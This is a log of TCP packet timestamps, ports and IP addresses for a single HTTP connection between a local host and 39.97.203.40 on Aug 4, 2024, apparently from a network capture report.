Aug 4, 2024 12:55:08.414796114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414799929 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414810896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414827108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.414839029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.414870977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415426970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415441990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415456057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415479898 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415597916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415612936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415627003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415643930 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415648937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415668011 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415766954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415781975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415796041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415808916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415811062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415827036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415837049 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.415842056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.415874004 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416100025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416114092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416129112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416143894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416152000 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416158915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416172981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416173935 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416188955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416198969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416239977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416265965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416280985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416321039 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416445017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416460037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416476011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416498899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416507006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416541100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.416977882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.416994095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.417010069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.417036057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.417109966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.417124987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.417140961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.417154074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.417181015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498008013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498044014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498063087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498100996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498209953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498225927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498239994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498255014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498260975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498286009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498425961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498442888 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498469114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498487949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498501062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498532057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498749018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498795033 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498811960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498826981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498867035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.498967886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498981953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.498996973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499011993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499022007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499051094 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499197006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499212027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499254942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499301910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499317884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499332905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499346972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499357939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499362946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499383926 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499556065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499572039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499586105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499608994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499620914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499631882 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499638081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499655962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499665022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.499671936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499686956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.499716997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.500047922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500062943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500092983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.500214100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500228882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500243902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500257969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500268936 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.500272989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500288010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500289917 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.500303984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:08.500314951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.500341892 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.515090942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:08.519870996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.453605890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.453624010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.453639984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.453668118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.456345081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.456403017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.456435919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.456468105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.456516027 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.457084894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.457159042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.457174063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.457195997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.460547924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.460597038 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.460645914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.460666895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.460681915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.460700035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.461499929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.461514950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.461550951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.463717937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.463768959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.463783979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.463787079 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.463826895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.465178013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.465234995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.465249062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.465274096 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.467016935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.467040062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.467052937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.467067003 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.467092037 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.469062090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.469077110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.469091892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.469115973 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.471263885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.471313000 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.471332073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.471347094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.471389055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.474112034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.474251986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.474266052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.474292994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.475466967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.475508928 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.475553989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.475569010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.475608110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.477612972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.477648020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.477663040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.477686882 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.479458094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.479482889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.479496002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.479497910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.479537010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.481756926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.481808901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.481823921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.481848001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.484206915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.484224081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.484237909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.484256029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.484289885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.490289927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.490305901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.490319967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.490350008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.491487026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.491502047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.491517067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.491528034 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.491559982 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.497414112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497461081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497476101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497505903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.497606993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497627974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497643948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497649908 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.497659922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497684956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.497807980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.497850895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.498347998 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498420000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498434067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498459101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.498718977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498758078 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.498779058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498833895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.498872995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.503184080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.503416061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.503482103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.503559113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504775047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504800081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504815102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504826069 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.504837990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504853010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.504854918 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.504892111 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.504914045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.506947041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.507002115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.507016897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.507035971 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.507049084 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.509901047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.509937048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.509951115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.509978056 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.511105061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.511146069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.511147022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.511159897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.511198997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.516697884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516715050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516730070 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516742945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516758919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516767979 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.516772985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.516782999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.516814947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.519257069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.519273043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.519287109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.519339085 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.520004988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.520030022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.520047903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.520052910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.520114899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.523813009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.523866892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.523881912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.524070024 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.524288893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.524338961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.524347067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.524360895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.524405956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.526384115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.526408911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.526422024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.526452065 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.528459072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.528507948 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.528512001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.528932095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.528970957 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.528980970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.530565023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.530590057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.530607939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.530628920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.530670881 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.537097931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537158966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537180901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537195921 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.537241936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537256956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537278891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.537872076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537916899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.537939072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537952900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.537987947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.539828062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.539879084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.539892912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.539916992 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.542548895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.542563915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.542577982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.542601109 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.542624950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.544271946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.544389009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.544403076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.544428110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.546777964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.546818018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.546821117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.546855927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.546900034 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.547266006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.547313929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.547327995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.547350883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.549330950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.549355984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.549369097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.549381018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.549382925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.549402952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.551218987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.551263094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.551265955 CEST	49709	80	192.168.2.5	39.97.203.40
